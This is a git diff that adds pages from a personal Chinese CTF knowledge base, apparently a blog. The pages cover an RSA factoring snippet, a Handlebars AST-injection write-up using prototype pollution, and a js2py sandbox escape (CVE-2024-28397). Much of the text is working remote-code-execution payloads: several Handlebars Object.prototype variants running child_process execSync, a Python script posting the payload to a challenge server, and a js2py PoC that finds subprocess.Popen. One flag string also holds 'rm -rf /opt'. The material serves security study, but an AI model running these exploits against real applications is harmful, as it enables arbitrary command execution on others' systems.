# a^ k*phi(p) == 1 modp
# a^(hint /233) == 1 modp
# a^(hint /233) -1 == 0 modp
# n == 0 modp

a =2

p = gmpy2.gcd(n, pow(a, (h //233), n)-1)
print(p)
q = n//p

phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
print(long_to_bytes(pow(c, d, n)))
```

+

USB​

+

思路​

+

提取usb输入

+

wp​

+
flag{158f26cca09e89b08cbd234c1f9c98c0}
+

image-20250417152848408

+
flag{whoami && rm -rf /opt}
+

Reference​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/CTF/奇技淫巧/FILTERS的任意格式输出/index.html b/en/docs/个人知识库/CTF/奇技淫巧/FILTERS的任意格式输出/index.html new file mode 100644 index 0000000..96eb3be --- /dev/null +++ b/en/docs/个人知识库/CTF/奇技淫巧/FILTERS的任意格式输出/index.html @@ -0,0 +1,20 @@ + + + + + +FILTERS的任意格式输出 | wjlin0 + + + + + + + +

FILTERS的任意格式输出

作者修订时间
wjlin02024-06-11 11:03:33
+

前沿​

+

在知识星球里看到这么一个提问

+
<?php
$content = file_get_contents($_POST['url']);
$json=$json_decode($content,1);
$data=$json['data'];
echo json_encode($data);
+

这里是任意文件读写,但是被json格式包裹了,在评论区找到答案利用 filters 构造前后缀进行任意文件读写

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/CTF/奇技淫巧/Handlebars-AST注入/index.html b/en/docs/个人知识库/CTF/奇技淫巧/Handlebars-AST注入/index.html new file mode 100644 index 0000000..b69257c --- /dev/null +++ b/en/docs/个人知识库/CTF/奇技淫巧/Handlebars-AST注入/index.html @@ -0,0 +1,117 @@ + + + + + +Handlebars-AST注入 | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-10-14 20:53:34
+

Handlebars AST注入 配合原型链污染

+
+

详细分析Handlebars AST注入

+
+

原理图​

+

image-20210925022250921

+

handlebars的parser在解析NumberLiteral类型的字符串时会使用Number()函数进行强制转换,正常情况下这个字符串只能数字,但是用过原型链污染我们可以构造一个非数字型的字符串

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\parser.js

case 35:
this.$ = { type: 'StringLiteral', value: $$[$0], original: $$[$0], loc: yy.locInfo(this._$) };
break;
case 36:
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
break;
+

在将AST编译为函数时,handlebars用pushString将字符串传到opcode中,用pushLiteral将数字和布尔值传入到opcode中,而这个opcode就是之后用来构造模板函数的,Literal类型在AST中表示变量的意思,具体可以参考Esprima语法树标准,所以我们下面我们能够利用的类型有NumberLiteral和BooleanLiteral

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

StringLiteral: function StringLiteral(string) {
this.opcode('pushString', string.value); // 字符串使用pushString
},

NumberLiteral: function NumberLiteral(number) {
this.opcode('pushLiteral', number.value); // 数字使用pushLiteral
},

BooleanLiteral: function BooleanLiteral(bool) {
this.opcode('pushLiteral', bool.value); // 布尔值使用pushLiteral
},

UndefinedLiteral: function UndefinedLiteral() {
this.opcode('pushLiteral', 'undefined');
},

opcode: function opcode(name) {
this.opcodes.push({
opcode: name,
args: slice.call(arguments, 1),
loc: this.sourceNode[0].loc
});
},
+

那么我们如何调用这些函数呢,handlebars在编译语法树时会调用一个叫accept的函数来处理我们的语法树节点,他会调用node.type对应的构造函数来修改opcode,所以我们的重点也可以转换成如何控制accept(node)中node值,且保证解析流程正常进行

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}

this.sourceNode.unshift(node);
var ret = this[node.type](node); // 调用node.type对应的构造函数
this.sourceNode.shift();
return ret;
},
+

Payload​

+
+

原文作者采用的payload

+
+
Copy successfullyconst Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"loc": {
"start": 0
}
}];


var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

大概流程:

+
    +
  1. 将type修改为Program绕过Lexer解析
  2. +
  3. 污染Program中的body,注入自定义的AST
  4. +
  5. 在compiler.js文件中找到可用Gadget,此Gadget能够控制accept(node)中node值,原文作者利用的是MustacheStatement
  6. +
+

漏洞分析​

+

调用栈​

+
compiler.js/ret()
compiler.js/compileInput()
base.js/parse()
base.js/parseWithoutProcessing()
visitor.js/accept()
compiler.js/compile()
compiler.js/accept()
compiler.js/Program()
compiler.js/MustacheStatement()
compiler.js/NumberLiteral() <-- 注入payload
javascript-compiler.js/compile()
javascript-compiler.js/createFunctionContext <-- 生成模板函数体
handlebars.runtime.js/create()
runtime.js/ret()
runtime.js/executeDecorators()
anonymous/templateSpec.main()
+

解析入口​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function ret(context, execOptions) {
if (!compiled) {
compiled = compileInput(); // 编译输入
}
return compiled.call(this, context, execOptions);
}
+

解析AST​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options), // 获取语法树
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec);
}
+

语法树解析

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js

function parse(input, options) {
var ast = parseWithoutProcessing(input, options); // 转化为AST
var strip = new _whitespaceControl2['default'](options);

return strip.accept(ast); // 解析AST
}
+

这里的重点是将input.type污染为Program,从而绕过AST的转换阶段

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js

function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') { // 如果已经是转换好的AST就直接返回
return input;
}

_parser2['default'].yy = yy;

// Altering the shared object here, but this is ok as parser is a sync operation
yy.locInfo = function (locInfo) {
return new yy.SourceLocation(options && options.srcName, locInfo);
};

var ast = _parser2['default'].parse(input); // 否则就调用Lexer解析节点生成AST

return ast;
}
+

这里是递归解析语法树

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\visitor.js

accept: function accept(object) {
if (!object) {
return;
}

/* istanbul ignore next: Sanity code */
if (!this[object.type]) {
throw new _exception2['default']('Unknown type: ' + object.type, object);
}

if (this.current) {
this.parents.unshift(this.current);
}
this.current = object;

var ret = this[object.type](object); // 调用对应的构造函数解析AST

this.current = this.parents.shift();

if (!this.mutating || ret) {
return ret;
} else if (ret !== false) {
return object;
}
},
+

编译环境变量​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options), // 编译环境变量
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec);
}
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

compile: function compile(program, options) {
this.sourceNode = [];
this.opcodes = [];
this.children = [];
this.options = options;
this.stringParams = options.stringParams;
this.trackIds = options.trackIds;

options.blockParams = options.blockParams || [];

options.knownHelpers = _utils.extend(Object.create(null), {
helperMissing: true,
blockHelperMissing: true,
each: true,
'if': true,
unless: true,
'with': true,
log: true,
lookup: true
}, options.knownHelpers);

return this.accept(program); // 传入accept函数进行处理
},

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}

this.sourceNode.unshift(node);
var ret = this[node.type](node); // 提取AST对应的type并调用该构造函数
this.sourceNode.shift();
return ret;
},
+

第一次node.type被污染为program

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

Program: function Program(program) { // 利用Program类来自定义类
this.options.blockParams.unshift(program.blockParams);

var body = program.body, // 通过污染body插入我们的恶意代码
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]); // 提取我们的body继续调用accept进行解析
}

this.options.blockParams.shift();

this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;

return this;
},
+

第二次node.type为自定义的MustacheStatement

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

MustacheStatement: function MustacheStatement(mustache) {
this.SubExpression(mustache); // 1

if (mustache.escaped && !this.options.noEscape) {
this.opcode('appendEscaped');
} else {
this.opcode('append'); // 如果没有设置escaped的话就进行append操作
}
},

SubExpression: function SubExpression(sexpr) {
transformLiteralToPath(sexpr);
var type = this.classifySexpr(sexpr);

if (type === 'simple') {
this.simpleSexpr(sexpr);
} else if (type === 'helper') {
this.helperSexpr(sexpr); // 2
} else {
this.ambiguousSexpr(sexpr);
}
},

helperSexpr: function helperSexpr(sexpr, program, inverse) {
var params = this.setupFullMustacheParams(sexpr, program, inverse), // 3
path = sexpr.path,
name = path.parts[0];

if (this.options.knownHelpers[name]) {
this.opcode('invokeKnownHelper', params.length, name);
} else if (this.options.knownHelpersOnly) {
throw new _exception2['default']('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr);
} else {
path.strict = true;
path.falsy = true;

this.accept(path);
this.opcode('invokeHelper', params.length, path.original, _ast2['default'].helpers.simpleId(path));
}
},

setupFullMustacheParams: function setupFullMustacheParams(sexpr, program, inverse, omitEmpty) {
var params = sexpr.params;
this.pushParams(params); // 4

this.opcode('pushProgram', program);
this.opcode('pushProgram', inverse);

if (sexpr.hash) {
this.accept(sexpr.hash);
} else {
this.opcode('emptyHash', omitEmpty);
}

return params;
},

pushParams: function pushParams(params) {
for (var i = 0, l = params.length; i < l; i++) {
this.pushParam(params[i]); // 5
}
},

pushParam: function pushParam(val) {
var value = val.value != null ? val.value : val.original || '';

if (this.stringParams) {
if (value.replace) {
value = value.replace(/^(\.?\.\/)*/g, '').replace(/\//g, '.');
}

if (val.depth) {
this.addDepth(val.depth);
}
this.opcode('getContext', val.depth || 0);
this.opcode('pushStringParam', value, val.type);

if (val.type === 'SubExpression') {
// SubExpressions get evaluated and passed in
// in string params mode.
this.accept(val);
}
} else {
if (this.trackIds) {
var blockParamIndex = undefined;
if (val.parts && !_ast2['default'].helpers.scopedId(val) && !val.depth) {
blockParamIndex = this.blockParamIndex(val.parts[0]);
}
if (blockParamIndex) {
var blockParamChild = val.parts.slice(1).join('.');
this.opcode('pushId', 'BlockParam', blockParamIndex, blockParamChild);
} else {
value = val.original || value;
if (value.replace) {
value = value.replace(/^this(?:\.|$)/, '').replace(/^\.\//, '').replace(/^\.$/, '');
}

this.opcode('pushId', val.type, value);
}
}
this.accept(val); // 6 很巧妙地将我们的payload再次传入accept函数
}
},
+

第三次node.type为NumberLiteral

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

StringLiteral: function StringLiteral(string) {
this.opcode('pushString', string.value);
},

NumberLiteral: function NumberLiteral(number) {
this.opcode('pushLiteral', number.value); // 将我们的payload识别为Literal而直接转进构造函数
},

BooleanLiteral: function BooleanLiteral(bool) {
this.opcode('pushLiteral', bool.value);
},

UndefinedLiteral: function UndefinedLiteral() {
this.opcode('pushLiteral', 'undefined');
},
+

后面还有一系列对opcode的操作,均为MustacheStatement语法树的编译过程,下图是编译好MustacheStatement语法树之后opcodes的全部操作,而我们的payload就被注入了第一个

+

image-20210925113821867

+

编译模板​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); // 将我们的环境变量传进去来编译templateSpec
return env.template(templateSpec);
}
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

compile: function compile(environment, options, context, asObject) {
this.environment = environment;
this.options = options;
this.stringParams = this.options.stringParams;
this.trackIds = this.options.trackIds;
this.precompile = !asObject;

this.name = this.environment.name;
this.isChild = !!context;
this.context = context || {
decorators: [],
programs: [],
environments: []
};

this.preamble();

this.stackSlot = 0;
this.stackVars = [];
this.aliases = {};
this.registers = { list: [] };
this.hashes = [];
this.compileStack = [];
this.inlineStack = [];
this.blockParams = [];

this.compileChildren(environment, options);

this.useDepths = this.useDepths || environment.useDepths || environment.useDecorators || this.options.compat;
this.useBlockParams = this.useBlockParams || environment.useBlockParams;

var opcodes = environment.opcodes,
opcode = undefined,
firstLoc = undefined,
i = undefined,
l = undefined;

for (i = 0, l = opcodes.length; i < l; i++) {
opcode = opcodes[i];

this.source.currentLocation = opcode.loc;
firstLoc = firstLoc || opcode.loc;
this[opcode.opcode].apply(this, opcode.args); // 这里就是使用我们opcode的操作,然后会把结果存到this.source.SourceNode中
}

// Flush any trailing content that might be pending.
this.source.currentLocation = firstLoc;
this.pushSource('');

/* istanbul ignore next */
if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
throw new _exception2['default']('Compile completed with content left on stack');
}

if (!this.decorators.isEmpty()) {
this.useDecorators = true;

this.decorators.prepend(['var decorators = container.decorators, ', this.lookupPropertyFunctionVarDeclaration(), ';\n']);
this.decorators.push('return fn;');

if (asObject) {
this.decorators = Function.apply(this, ['fn', 'props', 'container', 'depth0', 'data', 'blockParams', 'depths', this.decorators.merge()]);
} else {
this.decorators.prepend('function(fn, props, container, depth0, data, blockParams, depths) {\n');
this.decorators.push('}\n');
this.decorators = this.decorators.merge();
}
} else {
this.decorators = undefined;
}

var fn = this.createFunctionContext(asObject); // 创建模板的函数体
if (!this.isChild) {
var ret = {
compiler: this.compilerInfo(),
main: fn
};

if (this.decorators) {
ret.main_d = this.decorators; // eslint-disable-line camelcase
ret.useDecorators = true;
}

var _context = this.context;
var programs = _context.programs;
var decorators = _context.decorators;

for (i = 0, l = programs.length; i < l; i++) {
if (programs[i]) {
ret[i] = programs[i];
if (decorators[i]) {
ret[i + '_d'] = decorators[i];
ret.useDecorators = true;
}
}
}

if (this.environment.usePartial) {
ret.usePartial = true;
}
if (this.options.data) {
ret.useData = true;
}
if (this.useDepths) {
ret.useDepths = true;
}
if (this.useBlockParams) {
ret.useBlockParams = true;
}
if (this.options.compat) {
ret.compat = true;
}

if (!asObject) {
ret.compiler = JSON.stringify(ret.compiler);

this.source.currentLocation = { start: { line: 1, column: 0 } };
ret = this.objectLiteral(ret);

if (options.srcName) {
ret = ret.toStringWithSourceMap({ file: options.destName });
ret.map = ret.map && ret.map.toString();
} else {
ret = ret.toString();
}
} else {
ret.compilerOptions = this.options;
}

return ret;
} else {
return fn;
}
},
+

执行opcode中pushLiteral的具体实现流程

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js


// [pushLiteral]
//
// On stack, before: ...
// On stack, after: value, ...
//
// Pushes a value onto the stack. This operation prevents
// the compiler from creating a temporary variable to hold
// it.
pushLiteral: function pushLiteral(value) { // 注释也已经很清楚了
this.pushStackLiteral(value);
},

pushStackLiteral: function pushStackLiteral(item) {
this.push(new Literal(item));
},

function Literal(value) {
this.value = value;
}

push: function push(expr) {
if (!(expr instanceof Literal)) {
expr = this.source.wrap(expr);
}

this.inlineStack.push(expr);
return expr;
},
+

在执行最后的append操作的时候会将inlineStack中的内容pop出来加入到Source中

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

append: function append() {
if (this.isInline()) {
this.replaceStack(function (current) {
return [' != null ? ', current, ' : ""'];
});

this.pushSource(this.appendToBuffer(this.popStack()));
} else {
var local = this.popStack();
this.pushSource(['if (', local, ' != null) { ', this.appendToBuffer(local, undefined, true), ' }']);
if (this.environment.isSimple) {
this.pushSource(['else { ', this.appendToBuffer("''", undefined, true), ' }']);
}
}
},
+

这里是创建函数体上下文,将source中的东西转换成字符串函数

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

createFunctionContext: function createFunctionContext(asObject) {
// istanbul ignore next

var _this = this;

var varDeclarations = '';

var locals = this.stackVars.concat(this.registers.list);
if (locals.length > 0) {
varDeclarations += ', ' + locals.join(', ');
}

// Generate minimizer alias mappings
//
// When using true SourceNodes, this will update all references to the given alias
// as the source nodes are reused in situ. For the non-source node compilation mode,
// aliases will not be used, but this case is already being run on the client and
// we aren't concern about minimizing the template size.
var aliasCount = 0;
Object.keys(this.aliases).forEach(function (alias) {
var node = _this.aliases[alias];
if (node.children && node.referenceCount > 1) {
varDeclarations += ', alias' + ++aliasCount + '=' + alias;
node.children[0] = 'alias' + aliasCount;
}
});

if (this.lookupPropertyFunctionIsUsed) {
varDeclarations += ', ' + this.lookupPropertyFunctionVarDeclaration();
}

var params = ['container', 'depth0', 'helpers', 'partials', 'data'];

if (this.useBlockParams || this.useDepths) {
params.push('blockParams');
}
if (this.useDepths) {
params.push('depths');
}

// Perform a second pass over the output to merge content when possible
var source = this.mergeSource(varDeclarations); // 把原本的source和varDeclarations拼接起来

if (asObject) {
params.push(source);

return Function.apply(this, params);
} else {
return this.source.wrap(['function(', params.join(','), ') {\n ', source, '}']); // 将source封装成函数
}
},
+

生成模板​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec); // 生成模板
}
// node_modules\handlebars\dist\cjs\handlebars.runtime.js

function create() {
var hb = new base.HandlebarsEnvironment();

Utils.extend(hb, base);
hb.SafeString = _handlebarsSafeString2['default'];
hb.Exception = _handlebarsException2['default'];
hb.Utils = Utils;
hb.escapeExpression = Utils.escapeExpression;

hb.VM = runtime;
hb.template = function (spec) {
return runtime.template(spec, hb);
};

return hb;
}
+

模板函数执行​

+
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function ret(context, execOptions) {
if (!compiled) {
compiled = compileInput();
}
return compiled.call(this, context, execOptions); // 执行函数获取返回值
}
// node_modules\handlebars\dist\cjs\handlebars\runtime.js

function ret(context) {
var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];

var data = options.data;

ret._setup(options);
if (!options.partial && templateSpec.useData) {
data = initData(context, data);
}
var depths = undefined,
blockParams = templateSpec.useBlockParams ? [] : undefined;
if (templateSpec.useDepths) {
if (options.depths) {
depths = context != options.depths[0] ? [context].concat(options.depths) : options.depths;
} else {
depths = [context];
}
}

function main(context /*, options*/) {
return '' + templateSpec.main(container, context, container.helpers, container.partials, data, blockParams, depths);
}

main = executeDecorators(templateSpec.main, main, container, options.depths || [], data, blockParams); // 对main函数进行装饰
return main(context, options); // 执行main函数
}
+

被污染的函数​

+
(function anonymous(container,depth0,helpers,partials,data
) {
var stack1, lookupProperty = container.lookupProperty || function(parent, propertyName) {
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return parent[propertyName];
}
return undefined
};

return ((stack1 = (lookupProperty(helpers,"undefined")||(depth0 && lookupProperty(depth0,"undefined"))||container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}),console.log(process.mainModule.require('child_process').execSync('calc.exe').toString()),{"name":"undefined","hash":{},"data":data,"loc":{"start":0,"end":0}})) != null ? stack1 : "");

})
+

总结​

+
    +
  1. +

    漏洞核心在于污染编译过程中的pushLiteral操作,其中可以用到NumberLiteral类型和BooleanLiteral类型

    +
  2. +
  3. +

    令type为Program绕过Lexer解析器,从compiler.js找到可用的Gadget

    +
  4. +
  5. +

    在寻找Gadget时注意保持语法树的栈平衡,不然会在编译的时候抛出如下错误,这也是为什么我们需要借助MustacheStatement类型注入我们的payload,而不能直接将NumberLiteral注入到body中

    +
    /* istanbul ignore next */
    if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
    throw new _exception2['default']('Compile completed with content left on stack');
    }
    +
  6. +
+

拓展​

+

BooleanLiteral​

+

将NumberLiteral替换为BooleanLiteral

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"params": [{
"type": "BooleanLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

PartialStatement​

+

将MustacheStatement改为PartialStatement

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "PartialStatement",
"name": "",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}]
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

PartialBlockStatement​

+

将MustacheStatement改为PartialBlockStatement

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "PartialBlockStatement",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"name": 0,
"openStrip": 0,
"closeStrip": 0,
"program": { "body": 0 },
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

BlockStatement​

+

将MustacheStatement改为BlockStatement

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "BlockStatement",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": 0,
"openStrip": 0,
"closeStrip": 0,
"program": { "body": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

Decorator​

+

触发点和上面的有所差异,这个是在装饰main函数的时候插入自定义代码

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "Decorator",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

inf Hash​

+

无限内嵌Hash类型

+
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"params": [{
"type": "Hash",
"pairs": [{
"value":{
"type": "Hash",
"pairs": [{
"value":{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}}]
}}]
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
+

例题​

+
const express = require('express');
const app = express();
const fs = require("fs")
const mergeValue = require("merge-value")
const bodyParser = require('body-parser')
const handlebars = require("handlebars");
app.use(bodyParser.json())

/*
"dependencies": {
"body-parser": "^1.19.0",
"express": "^4.17.1",
"merge-value": "^0.1.1",
"handlebars": "^4.7.7"
}
*/
app.post('/template', function (req, res) {
let defaultTemplate = {
"text": {
"title": "WriteUp"
},
"template": "{{this.title}}{{this.body}}",
"waf": {
"black1": "__proto__",
"black2": "programa"
}
}
//禁止覆盖原始的waf值
if(req.body.wafkey && req.body.wafdata) {
if (defaultTemplate["waf"][req.body.wafkey]) {
defaultTemplate["waf"]["custom" + req.body.wafkey] = req.body.wafdata[req.body.wafkey]
} else {
defaultTemplate["waf"][req.body.wafkey] = req.body.wafData[req.body.wafkey]
}
}
//取出所有的waf值
let waf = defaultTemplate["waf"]
let wafList = []
for(let wafWord in waf){
wafList.push(waf[wafWord])
}
for(let requestKey in req.body){
if(typeof req.body[requestKey] === 'string'){
for(let index in wafList){
if(req.body[requestKey].toLowerCase().endsWith(wafList[index])){
res.send("waf");
return;
}
}
}
}
let templateData = mergeValue(defaultTemplate,req.body.pathKey,req.body.data)
// console.log(templateData,defaultTemplate)
let template = handlebars.compile(templateData["template"]);
res.send(template(templateData["text"]));
});

app.get('/', function (req, res) {
res.send('see `/src`');
});


app.get('/src', function (req, res) {
var data = fs.readFileSync('index.js');
res.send(data.toString());
});

app.listen(3000, function () {
console.log('start listening on port 3000');
});

+
+

注意题目环境

+
+
{
"dependencies": {
"body-parser": "1.19.0",
"express": "4.17.1",
"handlebars": "4.7.6",
"merge-value": "1.0",
"mixin-deep": "^1.2.0",
"set-value": "^2.0.0"
}
}

+

这里可以通过 mergeValue 原型链污染,去污染 templateData["text"] 的__proto__ ,由于前面总结的很到位我这里就补充一下,这里是wp

+
import requests

payload = {
"__proto__": {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('open -a Calculator').toString())"
}],
"loc": {
"start": 0
}
}]
}
}

url = "http://192.168.3.91:3000/template"
data = {
"pathKey": "text",
"data": payload
}
print(data)
text = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})
print(text.text)

+

image-20251014205208357

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/CTF/奇技淫巧/JS2PY意外获取根对象CVE-2024-28397/index.html b/en/docs/个人知识库/CTF/奇技淫巧/JS2PY意外获取根对象CVE-2024-28397/index.html new file mode 100644 index 0000000..7496538 --- /dev/null +++ b/en/docs/个人知识库/CTF/奇技淫巧/JS2PY意外获取根对象CVE-2024-28397/index.html @@ -0,0 +1,61 @@ + + + + + +JS2PY意外获取根对象CVE-2024-28397 | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-06-23 01:02:22
+

JS2PY意外获取根对象CVE-2024-28397

+

0x01 环境​

+
pip install js2py <= 0.74 #latest
+

0x02 前沿​

+

无意在git上看到一个关于 CVE-2024-28397 的POC,js2py存在一个漏洞,攻击者可以使用这个漏洞在js代码中获得一个python对象的引用,使得攻击者可以逃逸js环境,在主机上执行任意命令。用户一般会调用js2py.disable_pyimport()阻止JS代码使用pyimport调用python模块,从而防止代码沙盒逃逸。但是使用这个漏洞,攻击者可以绕过这个限制,在主机上执行任意代码。

+

0x03 分析​

+

根据提供的代码,发现Object.getOwnPropertyNames({}).__class__.__base__,即可获取到一个根对象,那么这是如何得到的呢

+

我们可以写一个代码进行调试

+
import js2py
payload_2 = """console.log(Object.getOwnPropertyNames({}).__class__.__base__)"""
js2py.eval_js(payload_2)
+

整段代码会被self.code(*args)去执行调用,他的解析顺序是从左往右console、.log()、Object ......

+

f7c83fc40db51c0676aa220a6b4263fd

+

并且依次调用PyJs.get(self, prop),获取对应的对象。

+

650f67657bc934405a122dcf131189ee

+

那么这个Object.getOwnPropertyNames({})是个啥呢,我们跟进发现,它其实就是一个方法用于获取,的所有 keys(),那么大概率,这里返回的对象就为dict对象

+

a712fa934ad208f15e46e3adf758eaa3

+

此时own.keys() 返回的对象 为 dict

+

cdf2c66969b232f56aa024ff6d2415ea

+

得到的对象的确为dict

+

71d59a397371a8a061736a8aa625eea1

+

代码运行到这里之后,就简单多了,在python里,获取根对象的方式,可以根据基本对象来获取根对象,例如以下

+
print({}.__class__.__base__)
print("".__class__.__base__)
print(().__class__.__base__)
+

8d21ef7a38064f02f76316ab1c70c1b0

+

得到根对象后,后面与ssti模版注入类似,

+
import js2py

payload_2 = """
let o = Object.getOwnPropertyNames({}).__class__.__base__.__subclasses__()
for (i in o) {
console.log(o[i])
}
"""
js2py.eval_js(payload_2)
+

下面有6种方式可以执行命令

+
内建函数 eval 执行命令
os 模块执行命令
popen 函数执行命令
importlib 类执行命令
linecache 函数执行命令
subprocess.Popen 类执行命令
+

由于 获取的对象均是 是被封装后的,例如根对象 都是 PyObjectWarpper

+

f370f31459c94cebb2900f580b26faee

+

并且获取到的__init__ 函数对象也均被封装

+

eca2ceab4a2e8483ad4416c424a9111d

+

无法获取__globals__,也就无法从这里入手获取内建变量__builtins__

+

0afd799d813b550caf14fb94e0972937

+

所以这里一共有两种方式

+
    +
  • 利用importlib 方法导入类
  • +
+

在python 中存在一个类 _frozen_importlib.BuiltinImporter 这个类,在python 中的作用就是 提供 Python 中 import 语句的实现(以及 __import__ 函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。

+

5007a129124cb7e3a84f851529884436

+
    +
  • 利用subprocess.Popen 类执行命令
  • +
+

这里类是在python 2.4引入的 可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。subprocess意在替代其他几个老的模块或者函数,比如:os.system,os.popen等函数。

+

2822d519284e2178b008fb245a207db1

+

0x04 POC​

+
import js2py
from sys import version

payload = """
// [+] command goes here:
let cmd = "open -a Calculator"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
"""

def test_poc():
etcpassword_piece = "root:x:0:0"
result = ""
try:
result = repr(js2py.eval_js(payload))
except Exception:
return False
return etcpassword_piece in result

def main():
test_poc()

if __name__ == "__main__":
main()
